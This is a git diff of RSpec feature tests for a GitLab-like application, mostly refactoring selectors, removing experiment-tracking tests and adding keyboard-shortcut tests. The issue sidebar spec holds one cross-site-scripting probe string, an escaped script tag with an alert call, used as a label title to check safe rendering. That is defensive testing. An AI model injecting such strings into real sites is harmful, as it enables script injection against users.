it 'takes user to a new milestone page', :js do
- find('.new-project-item-select-button').click
+ click_button 'Toggle project select'
page.within('.select2-results') do
first('.select2-result-label').click
diff --git a/spec/features/dashboard/root_spec.rb b/spec/features/dashboard/root_spec.rb
deleted file mode 100644
index 55bb43c6fcf..00000000000
--- a/spec/features/dashboard/root_spec.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Root path' do
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
-
- before do
- project.add_developer(user)
- sign_in(user)
- end
-
- it 'shows the customize banner', :js do
- visit root_path
-
- expect(page).to have_content('Do you want to customize this page?')
- end
-end
diff --git a/spec/features/expand_collapse_diffs_spec.rb b/spec/features/expand_collapse_diffs_spec.rb
index add4af2bcdb..63e16946a0b 100644
--- a/spec/features/expand_collapse_diffs_spec.rb
+++ b/spec/features/expand_collapse_diffs_spec.rb
@@ -7,7 +7,6 @@ RSpec.describe 'Expand and collapse diffs', :js do
let(:project) { create(:project, :repository) }
before do
- stub_feature_flags(increased_diff_limits: false)
allow(Gitlab::CurrentSettings).to receive(:diff_max_patch_bytes).and_return(100.kilobytes)
admin = create(:admin)
diff --git a/spec/features/gitlab_experiments_spec.rb b/spec/features/gitlab_experiments_spec.rb
index 76b418adcea..ca772680ff6 100644
--- a/spec/features/gitlab_experiments_spec.rb
+++ b/spec/features/gitlab_experiments_spec.rb
@@ -31,9 +31,10 @@ RSpec.describe "Gitlab::Experiment", :js do
expect(page).to have_content('Abuse Reports')
- published_experiments = page.evaluate_script('window.gon.experiment')
+ published_experiments = page.evaluate_script('window.gl.experiments')
expect(published_experiments).to include({
'null_hypothesis' => {
+ 'excluded' => false,
'experiment' => 'null_hypothesis',
'key' => anything,
'variant' => 'candidate'
diff --git a/spec/features/global_search_spec.rb b/spec/features/global_search_spec.rb
index a380edff3a4..0397e72502a 100644
--- a/spec/features/global_search_spec.rb
+++ b/spec/features/global_search_spec.rb
@@ -57,6 +57,14 @@ RSpec.describe 'Global search' do
expect(page).to have_selector('.search-form')
expect(page).to have_no_selector('#js-header-search')
end
+
+ it 'focuses search input when shortcut "s" is pressed', :js do
+ expect(page).not_to have_selector('#search:focus')
+
+ find('body').native.send_key('s')
+
+ expect(page).to have_selector('#search:focus')
+ end
end
describe 'when new_header_search feature is enabled' do
@@ -70,5 +78,13 @@ RSpec.describe 'Global search' do
expect(page).to have_no_selector('.search-form')
expect(page).to have_selector('#js-header-search')
end
+
+ it 'focuses search input when shortcut "s" is pressed', :js do
+ expect(page).not_to have_selector('#search:focus')
+
+ find('body').native.send_key('s')
+
+ expect(page).to have_selector('#search:focus')
+ end
end
end
diff --git a/spec/features/groups/container_registry_spec.rb b/spec/features/groups/container_registry_spec.rb
index 098559dc3f8..f5af9ba8b7b 100644
--- a/spec/features/groups/container_registry_spec.rb
+++ b/spec/features/groups/container_registry_spec.rb
@@ -82,7 +82,7 @@ RSpec.describe 'Container Registry', :js do
end
it 'shows the image tags' do
- expect(page).to have_content 'Image tags'
+ expect(page).to have_content '1 tag'
first_tag = first('[data-testid="name"]')
expect(first_tag).to have_content 'latest'
end
diff --git a/spec/features/groups/empty_states_spec.rb b/spec/features/groups/empty_states_spec.rb
index 4488f53a03f..0317f9162cc 100644
--- a/spec/features/groups/empty_states_spec.rb
+++ b/spec/features/groups/empty_states_spec.rb
@@ -101,7 +101,7 @@ RSpec.describe 'Group empty states' do
it "the new #{issuable_name} button opens a project dropdown" do
within '.empty-state' do
- find('.new-project-item-select-button').click
+ click_button 'Toggle project select'
end
expect(page).to have_selector('.ajax-project-dropdown')
diff --git a/spec/features/groups/issues_spec.rb b/spec/features/groups/issues_spec.rb
index 4e59ab40d04..1bac1bcdf5a 100644
--- a/spec/features/groups/issues_spec.rb
+++ b/spec/features/groups/issues_spec.rb
@@ -119,8 +119,9 @@ RSpec.describe 'Group issues page' do
end
it 'shows projects only with issues feature enabled', :js do
- find('.empty-state .js-lazy-loaded')
- find('.empty-state .new-project-item-link').click
+ within '.empty-state' do
+ click_button 'Toggle project select'
+ end
page.within('.select2-results') do
expect(page).to have_content(project.full_name)
@@ -158,9 +159,7 @@ RSpec.describe 'Group issues page' do
it 'each issue item has a user-can-drag css applied' do
visit issues_group_path(group, sort: 'relative_position')
- page.within('.manual-ordering') do
- expect(page).to have_selector('.issue.user-can-drag', count: 3)
- end
+ expect(page).to have_selector('.issue.user-can-drag', count: 3)
end
it 'issues should be draggable and persist order' do
@@ -224,7 +223,8 @@ RSpec.describe 'Group issues page' do
end
it 'shows the pagination' do
- expect(page).to have_selector('.gl-pagination')
+ expect(page).to have_link 'Prev'
+ expect(page).to have_link 'Next'
end
it 'first pagination item is active' do
diff --git a/spec/features/groups/members/manage_groups_spec.rb b/spec/features/groups/members/manage_groups_spec.rb
index d822a5ea871..2beecda23b5 100644
--- a/spec/features/groups/members/manage_groups_spec.rb
+++ b/spec/features/groups/members/manage_groups_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Groups > Members > Manage groups', :js do
include Select2Helper
include Spec::Support::Helpers::Features::MembersHelpers
include Spec::Support::Helpers::Features::InviteMembersModalHelper
+ include Spec::Support::Helpers::ModalHelpers
let_it_be(:user) { create(:user) }
@@ -92,7 +93,7 @@ RSpec.describe 'Groups > Members > Manage groups', :js do
click_button 'Remove group'
end
- page.within('[role="dialog"]') do
+ within_modal do
click_button('Remove group')
end
diff --git a/spec/features/groups/members/manage_members_spec.rb b/spec/features/groups/members/manage_members_spec.rb
index 38e829bafcc..0ce50107e54 100644
--- a/spec/features/groups/members/manage_members_spec.rb
+++ b/spec/features/groups/members/manage_members_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe 'Groups > Members > Manage members' do
include Spec::Support::Helpers::Features::MembersHelpers
include Spec::Support::Helpers::Features::InviteMembersModalHelper
+ include Spec::Support::Helpers::ModalHelpers
let_it_be(:user1) { create(:user, name: 'John Doe') }
let_it_be(:user2) { create(:user, name: 'Mary Jane') }
@@ -84,33 +85,6 @@ RSpec.describe 'Groups > Members > Manage members' do
property: 'existing_user',
user: user1
)
- expect_no_snowplow_event(
- category: 'Members::CreateService',
- action: 'area_of_focus'
- )
- end
-
- it 'adds a user to group with area_of_focus', :js, :snowplow, :aggregate_failures do
- stub_experiments(member_areas_of_focus: :candidate)
- group.add_owner(user1)
-
- visit group_group_members_path(group)
-
- invite_member(user2.name, role: 'Reporter', area_of_focus: true)
- wait_for_requests
-
- expect_snowplow_event(
- category: 'Members::CreateService',
- action: 'area_of_focus',
- label: 'Contribute to the codebase',
- property: group.members.last.id.to_s
- )
- expect_snowplow_event(
- category: 'Members::CreateService',
- action: 'area_of_focus',
- label: 'Collaborate on open issues and merge requests',
- property: group.members.last.id.to_s
- )
end
it 'do not disclose email addresses', :js do
@@ -170,7 +144,7 @@ RSpec.describe 'Groups > Members > Manage members' do
click_button 'Remove member'
end
- page.within('[role="dialog"]') do
+ within_modal do
expect(page).to have_unchecked_field 'Also unassign this user from related issues and merge requests'
click_button('Remove member')
end
@@ -220,36 +194,9 @@ RSpec.describe 'Groups > Members > Manage members' do
property: 'net_new_user',
user: user1
)
- expect_no_snowplow_event(
- category: 'Members::CreateService',
- action: 'area_of_focus'
- )
end
end
- it 'invite user to group with area_of_focus', :js, :snowplow, :aggregate_failures do
- stub_experiments(member_areas_of_focus: :candidate)
- group.add_owner(user1)
-
- visit group_group_members_path(group)
-
- invite_member('test@example.com', role: 'Reporter', area_of_focus: true)
- wait_for_requests
-
- expect_snowplow_event(
- category: 'Members::InviteService',
- action: 'area_of_focus',
- label: 'Contribute to the codebase',
- property: group.members.last.id.to_s
- )
- expect_snowplow_event(
- category: 'Members::InviteService',
- action: 'area_of_focus',
- label: 'Collaborate on open issues and merge requests',
- property: group.members.last.id.to_s
- )
- end
-
context 'when user is a guest' do
before do
group.add_guest(user1)
diff --git a/spec/features/groups/navbar_spec.rb b/spec/features/groups/navbar_spec.rb
index 22409e9e7f6..da8032dc4dd 100644
--- a/spec/features/groups/navbar_spec.rb
+++ b/spec/features/groups/navbar_spec.rb
@@ -14,7 +14,6 @@ RSpec.describe 'Group navbar' do
before do
insert_package_nav(_('Kubernetes'))
- stub_feature_flags(group_iterations: false)
stub_feature_flags(customer_relations: false)
stub_config(dependency_proxy: { enabled: false })
stub_config(registry: { enabled: false })
diff --git a/spec/features/help_pages_spec.rb b/spec/features/help_pages_spec.rb
index 66ba4dc987c..a1e2990202c 100644
--- a/spec/features/help_pages_spec.rb
+++ b/spec/features/help_pages_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe 'Help Pages' do
stub_application_setting(version_check_enabled: true)
stub_rails_env('production')
- allow(VersionCheck).to receive(:url).and_return('/version-check-url')
+ allow(VersionCheck).to receive(:image_url).and_return('/version-check-url')
sign_in(create(:user))
visit help_path
diff --git a/spec/features/ide/clientside_preview_csp_spec.rb b/spec/features/ide/clientside_preview_csp_spec.rb
index 559edb8bf53..849fdb0a44c 100644
--- a/spec/features/ide/clientside_preview_csp_spec.rb
+++ b/spec/features/ide/clientside_preview_csp_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe 'IDE Clientside Preview CSP' do
end
it_behaves_like 'setting CSP', 'frame-src' do
- let(:whitelisted_url) { 'https://sandbox.gitlab-static.test' }
+ let(:allowlisted_url) { 'https://sandbox.gitlab-static.test' }
let(:extended_controller_class) { IdeController }
subject do
@@ -23,7 +23,7 @@ RSpec.describe 'IDE Clientside Preview CSP' do
before do
stub_application_setting(web_ide_clientside_preview_enabled: true)
- stub_application_setting(web_ide_clientside_preview_bundler_url: whitelisted_url)
+ stub_application_setting(web_ide_clientside_preview_bundler_url: allowlisted_url)
sign_in(user)
end
diff --git a/spec/features/ide/static_object_external_storage_csp_spec.rb b/spec/features/ide/static_object_external_storage_csp_spec.rb
index 24d37f25739..421b5db0dbb 100644
--- a/spec/features/ide/static_object_external_storage_csp_spec.rb
+++ b/spec/features/ide/static_object_external_storage_csp_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe 'Static Object External Storage Content Security Policy' do
end
it_behaves_like 'setting CSP', 'connect-src' do
- let_it_be(:whitelisted_url) { 'https://static-objects.test' }
+ let_it_be(:allowlisted_url) { 'https://static-objects.test' }
let_it_be(:extended_controller_class) { IdeController }
subject do
@@ -22,7 +22,7 @@ RSpec.describe 'Static Object External Storage Content Security Policy' do
end
before do
- allow_any_instance_of(ApplicationSetting).to receive(:static_objects_external_storage_url).and_return(whitelisted_url)
+ allow_any_instance_of(ApplicationSetting).to receive(:static_objects_external_storage_url).and_return(allowlisted_url)
allow_any_instance_of(ApplicationSetting).to receive(:static_objects_external_storage_auth_token).and_return('letmein')
sign_in(user)
diff --git a/spec/features/invites_spec.rb b/spec/features/invites_spec.rb
index f9ab780d2d6..9cb9416e7a0 100644
--- a/spec/features/invites_spec.rb
+++ b/spec/features/invites_spec.rb
@@ -226,34 +226,6 @@ RSpec.describe 'Group or Project invitations', :aggregate_failures do
end
end
- context 'with invite email acceptance for the invite_email_preview_text experiment', :experiment do
- let(:extra_params) do
- { invite_type: Emails::Members::INITIAL_INVITE, experiment_name: 'invite_email_preview_text' }
- end
-
- it 'tracks the accepted invite' do
- expect(experiment(:invite_email_preview_text)).to track(:accepted)
- .with_context(actor: group_invite)
- .on_next_instance
-
- fill_in_sign_up_form(new_user)
- end
- end
-
- context 'with invite email acceptance for the invite_email_from experiment', :experiment do
- let(:extra_params) do
- { invite_type: Emails::Members::INITIAL_INVITE, experiment_name: 'invite_email_from' }
- end
-
- it 'tracks the accepted invite' do
- expect(experiment(:invite_email_from)).to track(:accepted)
- .with_context(actor: group_invite)
- .on_next_instance
-
- fill_in_sign_up_form(new_user)
- end
- end
-
it 'signs up and redirects to the group activity page with all the project/groups invitation automatically accepted' do
fill_in_sign_up_form(new_user)
fill_in_welcome_form
diff --git a/spec/features/issuables/shortcuts_issuable_spec.rb b/spec/features/issuables/shortcuts_issuable_spec.rb
index 78cd8d0bef3..7e8f39c47a7 100644
--- a/spec/features/issuables/shortcuts_issuable_spec.rb
+++ b/spec/features/issuables/shortcuts_issuable_spec.rb
@@ -44,4 +44,90 @@ RSpec.describe 'Blob shortcuts', :js do
include_examples 'quotes the selected text'
end
end
+
+ shared_examples "opens assignee dropdown for editing" do
+ it "opens assignee dropdown for editing" do
+ find('body').native.send_key('a')
+
+ expect(find('.block.assignee')).to have_selector('.js-sidebar-assignee-data')
+ end
+ end
+
+ describe 'pressing "a"' do
+ describe 'On an Issue' do
+ before do
+ stub_feature_flags(issue_assignees_widget: false)
+ visit project_issue_path(project, issue)
+ wait_for_requests
+ end
+
+ include_examples 'opens assignee dropdown for editing'
+ end
+
+ describe 'On a Merge Request' do
+ before do
+ stub_feature_flags(issue_assignees_widget: false)
+ visit project_merge_request_path(project, merge_request)
+ wait_for_requests
+ end
+
+ include_examples 'opens assignee dropdown for editing'
+ end
+ end
+
+ shared_examples "opens milestones dropdown for editing" do
+ it "opens milestones dropdown for editing" do
+ find('body').native.send_key('m')
+
+ expect(find('[data-testid="milestone-edit"]')).to have_selector('.gl-new-dropdown-inner')
+ end
+ end
+
+ describe 'pressing "m"' do
+ describe 'On an Issue' do
+ before do
+ visit project_issue_path(project, issue)
+ wait_for_requests
+ end
+
+ include_examples 'opens milestones dropdown for editing'
+ end
+
+ describe 'On a Merge Request' do
+ before do
+ visit project_merge_request_path(project, merge_request)
+ wait_for_requests
+ end
+
+ include_examples 'opens milestones dropdown for editing'
+ end
+ end
+
+ shared_examples "opens labels dropdown for editing" do
+ it "opens labels dropdown for editing" do
+ find('body').native.send_key('l')
+
+ expect(find('.js-labels-block')).to have_selector('[data-testid="labels-select-dropdown-contents"]')
+ end
+ end
+
+ describe 'pressing "l"' do
+ describe 'On an Issue' do
+ before do
+ visit project_issue_path(project, issue)
+ wait_for_requests
+ end
+
+ include_examples 'opens labels dropdown for editing'
+ end
+
+ describe 'On a Merge Request' do
+ before do
+ visit project_merge_request_path(project, merge_request)
+ wait_for_requests
+ end
+
+ include_examples 'opens labels dropdown for editing'
+ end
+ end
end
diff --git a/spec/features/issuables/sorting_list_spec.rb b/spec/features/issuables/sorting_list_spec.rb
index 6e07c6ffed2..f646cdbd71b 100644
--- a/spec/features/issuables/sorting_list_spec.rb
+++ b/spec/features/issuables/sorting_list_spec.rb
@@ -197,17 +197,13 @@ RSpec.describe 'Sort Issuable List' do
click_button('Created date')
click_on('Last updated')
- wait_for_requests
-
- expect(first_issue).to include(last_updated_issuable.title)
- expect(last_issue).to include(first_updated_issuable.title)
+ expect(page).to have_css('.issue:first-child', text: last_updated_issuable.title)
+ expect(page).to have_css('.issue:last-child', text: first_updated_issuable.title)
click_on 'Sort direction'
- wait_for_requests
-
- expect(first_issue).to include(first_updated_issuable.title)
- expect(last_issue).to include(last_updated_issuable.title)
+ expect(page).to have_css('.issue:first-child', text: first_updated_issuable.title)
+ expect(page).to have_css('.issue:last-child', text: last_updated_issuable.title)
end
end
end
diff --git a/spec/features/issues/csv_spec.rb b/spec/features/issues/csv_spec.rb
index b4c737495b4..9fd171bf44b 100644
--- a/spec/features/issues/csv_spec.rb
+++ b/spec/features/issues/csv_spec.rb
@@ -47,13 +47,13 @@ RSpec.describe 'Issues csv', :js do
expect(page).to have_content "emailed to #{user.notification_email_or_default}"
end
- it 'includes a csv attachment', :sidekiq_might_not_need_inline do
+ it 'includes a csv attachment', :sidekiq_inline do
request_csv
expect(attachment.content_type).to include('text/csv')
end
- it 'ignores pagination', :sidekiq_might_not_need_inline do
+ it 'ignores pagination', :sidekiq_inline do
create_list(:issue, 30, project: project, author: user)
request_csv
@@ -61,13 +61,13 @@ RSpec.describe 'Issues csv', :js do
expect(csv.count).to eq 31
end
- it 'uses filters from issue index', :sidekiq_might_not_need_inline do
+ it 'uses filters from issue index', :sidekiq_inline do
request_csv(state: :closed)
expect(csv.count).to eq 0
end
- it 'ignores sorting from issue index', :sidekiq_might_not_need_inline do
+ it 'ignores sorting from issue index', :sidekiq_inline do
issue2 = create(:labeled_issue, project: project, author: user, labels: [feature_label])
request_csv(sort: :label_priority)
@@ -76,23 +76,11 @@ RSpec.describe 'Issues csv', :js do
expect(csv.map { |row| row['Issue ID'] }).to eq expected
end
- it 'uses array filters, such as label_name', :sidekiq_might_not_need_inline do
+ it 'uses array filters, such as label_name', :sidekiq_inline do
issue.update!(labels: [idea_label])
request_csv("label_name[]" => 'Bug')
expect(csv.count).to eq 0
end
-
- it 'avoids excessive database calls' do
- control_count = ActiveRecord::QueryRecorder.new { request_csv }.count
- create_list(:labeled_issue,
- 10,
- project: project,
- assignees: [user],
- author: user,
- milestone: milestone,
- labels: [feature_label, idea_label])
- expect { request_csv }.not_to exceed_query_limit(control_count + 5)
- end
end
diff --git a/spec/features/issues/gfm_autocomplete_spec.rb b/spec/features/issues/gfm_autocomplete_spec.rb
index 0cefbae4d37..b0e4729db8b 100644
--- a/spec/features/issues/gfm_autocomplete_spec.rb
+++ b/spec/features/issues/gfm_autocomplete_spec.rb
@@ -180,7 +180,7 @@ RSpec.describe 'GFM autocomplete', :js do
describe 'assignees' do
it 'does not wrap with quotes for assignee values' do
- fill_in 'Comment', with: "@#{user.username[0]}"
+ fill_in 'Comment', with: "@#{user.username}"
find_highlighted_autocomplete_item.click
diff --git a/spec/features/issues/issue_header_spec.rb b/spec/features/issues/issue_header_spec.rb
index cf375d8fb67..3e27ce81860 100644
--- a/spec/features/issues/issue_header_spec.rb
+++ b/spec/features/issues/issue_header_spec.rb
@@ -4,7 +4,8 @@ require 'spec_helper'
RSpec.describe 'issue header', :js do
let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:closed_issue) { create(:issue, :closed, project: project) }
let_it_be(:closed_locked_issue) { create(:issue, :closed, :locked, project: project) }
@@ -12,7 +13,7 @@ RSpec.describe 'issue header', :js do
context 'when user has permission to update' do
before do
- project.add_maintainer(user)
+ group.add_owner(user)
sign_in(user)
end
@@ -24,9 +25,10 @@ RSpec.describe 'issue header', :js do
click_button 'Issue actions'
end
- it 'only shows the "New issue" and "Report abuse" items', :aggregate_failures do
+ it 'shows the "New issue", "Report abuse", and "Delete issue" items', :aggregate_failures do
expect(page).to have_link 'New issue'
expect(page).to have_link 'Report abuse'
+ expect(page).to have_button 'Delete issue'
expect(page).not_to have_link 'Submit as spam'
end
end
@@ -116,6 +118,7 @@ RSpec.describe 'issue header', :js do
expect(page).to have_link 'New issue'
expect(page).to have_link 'Report abuse'
expect(page).not_to have_link 'Submit as spam'
+ expect(page).not_to have_button 'Delete issue'
end
end
diff --git a/spec/features/issues/issue_sidebar_spec.rb b/spec/features/issues/issue_sidebar_spec.rb
index bd4be755a92..9da6694c681 100644
--- a/spec/features/issues/issue_sidebar_spec.rb
+++ b/spec/features/issues/issue_sidebar_spec.rb
@@ -11,7 +11,6 @@ RSpec.describe 'Issue Sidebar' do
let_it_be(:label) { create(:label, project: project, title: 'bug') }
let_it_be(:issue) { create(:labeled_issue, project: project, labels: [label]) }
let_it_be(:mock_date) { Date.today.at_beginning_of_month + 2.days }
- let_it_be(:issue_with_due_date) { create(:issue, project: project, due_date: mock_date) }
let_it_be(:xss_label) { create(:label, project: project, title: '&lt;script&gt;alert("xss");&lt;&#x2F;script&gt;') }
before do
@@ -201,30 +200,6 @@ RSpec.describe 'Issue Sidebar' do
end
end
- context 'due date widget', :js do
- let(:due_date_value) { find('[data-testid="due-date"] [data-testid="sidebar-date-value"]') }
-
- context 'when no due date exists' do
- before do
- visit_issue(project, issue)
- end
-
- it "displays 'None'" do
- expect(due_date_value.text).to have_content 'None'
- end
- end
-
- context 'when due date exists' do
- before do
- visit_issue(project, issue_with_due_date)
- end
-
- it "displays the due date" do
- expect(due_date_value.text).to have_content mock_date.strftime('%b %-d, %Y')
- end
- end
- end
-
context 'as an allowed user' do
before do
project.add_developer(user)
@@ -259,37 +234,11 @@ RSpec.describe 'Issue Sidebar' do
end
context 'editing issue milestone', :js do
- let_it_be(:milestone_expired) { create(:milestone, project: project, title: 'Foo - expired', due_date: 5.days.ago) }
- let_it_be(:milestone_no_duedate) { create(:milestone, project: project, title: 'Foo - No due date') }
- let_it_be(:milestone1) { create(:milestone, project: project, title: 'Milestone-1', due_date: 20.days.from_now) }
- let_it_be(:milestone2) { create(:milestone, project: project, title: 'Milestone-2', due_date: 15.days.from_now) }
- let_it_be(:milestone3) { create(:milestone, project: project, title: 'Milestone-3', due_date: 10.days.from_now) }
-
- before do
- page.within('.block.milestone') do
- click_button 'Edit'
- end
-
- wait_for_all_requests
- end
-
- it 'shows milestones list in the dropdown' do
- page.within('.block.milestone') do
- # 5 milestones + "No milestone" = 6 items
- expect(page.find('.gl-new-dropdown-contents')).to have_selector('li.gl-new-dropdown-item', count: 6)
- end
- end
-
- it 'shows expired milestone at the bottom of the list and milestone due earliest at the top of the list', :aggregate_failures do
- page.within('.block.milestone .gl-new-dropdown-contents') do
- expect(page.find('li:last-child')).to have_content milestone_expired.title
+ it_behaves_like 'milestone sidebar widget'
+ end
- expect(page.all('li.gl-new-dropdown-item')[1]).to have_content milestone3.title
- expect(page.all('li.gl-new-dropdown-item')[2]).to have_content milestone2.title
- expect(page.all('li.gl-new-dropdown-item')[3]).to have_content milestone1.title
- expect(page.all('li.gl-new-dropdown-item')[4]).to have_content milestone_no_duedate.title
- end
- end
+ context 'editing issue due date', :js do
+ it_behaves_like 'date sidebar widget'
end
context 'editing issue labels', :js do
diff --git a/spec/features/issues/user_bulk_edits_issues_labels_spec.rb b/spec/features/issues/user_bulk_edits_issues_labels_spec.rb
index 97df2d0208b..71213fb661f 100644
--- a/spec/features/issues/user_bulk_edits_issues_labels_spec.rb
+++ b/spec/features/issues/user_bulk_edits_issues_labels_spec.rb
@@ -12,6 +12,9 @@ RSpec.describe 'Issues > Labels bulk assignment' do
let!(:issue1) { create(:issue, project: project, title: "Issue 1", labels: [frontend]) }
let!(:issue2) { create(:issue, project: project, title: "Issue 2") }
+ let(:issue_1_selector) { "#issue_#{issue1.id}" }
+ let(:issue_2_selector) { "#issue_#{issue2.id}" }
+
context 'as an allowed user', :js do
before do
project.add_maintainer(user)
@@ -44,10 +47,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'frontend'
- expect(find("#issue_#{issue2.id}")).to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'frontend'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'frontend'
+ expect(find(issue_2_selector)).to have_content 'bug'
+ expect(find(issue_2_selector)).not_to have_content 'frontend'
end
end
@@ -60,10 +63,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'frontend'
- expect(find("#issue_#{issue2.id}")).to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'frontend'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'frontend'
+ expect(find(issue_2_selector)).to have_content 'bug'
+ expect(find(issue_2_selector)).not_to have_content 'frontend'
end
end
@@ -75,10 +78,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'frontend'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'frontend'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'frontend'
+ expect(find(issue_2_selector)).not_to have_content 'bug'
+ expect(find(issue_2_selector)).not_to have_content 'frontend'
end
end
@@ -90,10 +93,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'frontend'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'frontend'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'frontend'
+ expect(find(issue_2_selector)).not_to have_content 'bug'
+ expect(find(issue_2_selector)).not_to have_content 'frontend'
end
end
end
@@ -107,10 +110,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'feature'
+ expect(find(issue_2_selector)).to have_content 'bug'
+ expect(find(issue_2_selector)).to have_content 'feature'
end
end
@@ -122,10 +125,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'feature'
+ expect(find(issue_2_selector)).not_to have_content 'bug'
+ expect(find(issue_2_selector)).not_to have_content 'feature'
end
end
end
@@ -144,8 +147,8 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_2_selector)).to have_content 'bug'
end
end
@@ -164,10 +167,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).not_to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'feature'
+ expect(find(issue_1_selector)).not_to have_content 'bug'
+ expect(find(issue_1_selector)).not_to have_content 'feature'
+ expect(find(issue_2_selector)).not_to have_content 'bug'
+ expect(find(issue_2_selector)).not_to have_content 'feature'
end
end
@@ -183,8 +186,8 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
+ expect(find(issue_1_selector)).not_to have_content 'bug'
+ expect(find(issue_2_selector)).to have_content 'feature'
end
end
@@ -203,10 +206,10 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it do
- expect(find("#issue_#{issue1.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).not_to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
+ expect(find(issue_1_selector)).not_to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'feature'
+ expect(find(issue_2_selector)).not_to have_content 'bug'
+ expect(find(issue_2_selector)).to have_content 'feature'
end
end
end
@@ -222,18 +225,18 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it 'keeps labels' do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_2_selector)).to have_content 'feature'
check 'Select all'
open_milestone_dropdown(['First Release'])
update_issues
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'First Release'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).to have_content 'First Release'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'First Release'
+ expect(find(issue_2_selector)).to have_content 'feature'
+ expect(find(issue_2_selector)).to have_content 'First Release'
end
end
@@ -244,18 +247,18 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it 'keeps existing label and new label is present' do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'bug'
check 'Select all'
open_milestone_dropdown ['First Release']
open_labels_dropdown ['feature']
update_issues
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'feature'
- expect(find("#issue_#{issue1.id}")).to have_content 'First Release'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
- expect(find("#issue_#{issue2.id}")).to have_content 'First Release'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'First Release'
+ expect(find(issue_2_selector)).to have_content 'feature'
+ expect(find(issue_2_selector)).to have_content 'First Release'
end
end
@@ -269,9 +272,9 @@ RSpec.describe 'Issues > Labels bulk assignment' do
end
it 'keeps existing label and new label is present' do
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue1.id}")).to have_content 'bug'
- expect(find("#issue_#{issue2.id}")).to have_content 'feature'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_1_selector)).to have_content 'bug'
+ expect(find(issue_2_selector)).to have_content 'feature'
